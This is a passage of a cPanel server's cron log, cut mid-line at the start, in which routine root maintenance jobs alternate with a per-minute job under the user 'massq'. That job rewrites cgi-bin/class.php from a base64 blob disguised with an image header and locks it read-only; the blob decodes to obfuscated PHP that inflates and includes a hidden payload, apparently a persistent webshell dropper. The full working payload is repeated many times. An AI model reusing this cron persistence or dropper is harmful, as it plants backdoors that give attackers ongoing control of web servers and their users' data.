C5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:41:01 server CROND[17989]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:42:01 server CROND[18354]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 16:42:01 server CROND[18353]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:42:01 server CROND[18356]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:42:01 server CROND[18355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:43:01 server CROND[18741]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:43:01 server CROND[18742]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:43:01 server CROND[18743]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:44:01 server CROND[19123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:44:01 server CROND[19124]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:44:01 server CROND[19125]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:45:01 server CROND[19507]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:45:01 server CROND[19509]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:45:01 server CROND[19511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:45:01 server CROND[19512]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 16:45:01 server CROND[19510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:45:01 server CROND[19514]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 16:45:01 server CROND[19513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:46:01 server CROND[20510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:46:01 server CROND[20511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:46:01 server CROND[20512]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:47:01 server CROND[20881]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:47:01 server CROND[20882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:47:01 server CROND[20883]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:48:01 server CROND[21263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:48:01 server CROND[21264]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:48:01 server CROND[21265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:49:01 server CROND[21641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:49:01 server CROND[21642]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:49:01 server CROND[21643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:50:01 server CROND[22026]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 16:50:01 server CROND[22028]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 16:50:01 server CROND[22030]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 16:50:01 server CROND[22033]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 16:50:01 server CROND[22032]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 16:50:01 server CROND[22035]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:50:01 server CROND[22034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:50:01 server CROND[22037]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:50:01 server CROND[22036]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 16:51:01 server CROND[23119]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:51:01 server CROND[23120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:51:01 server CROND[23118]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:52:01 server CROND[23500]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:52:01 server CROND[23501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:52:01 server CROND[23502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:53:01 server CROND[23883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:53:01 server CROND[23884]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 16:53:01 server CROND[23885]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 16:54:01 server CROND[24250]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 16:54:01 server CROND[24251]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
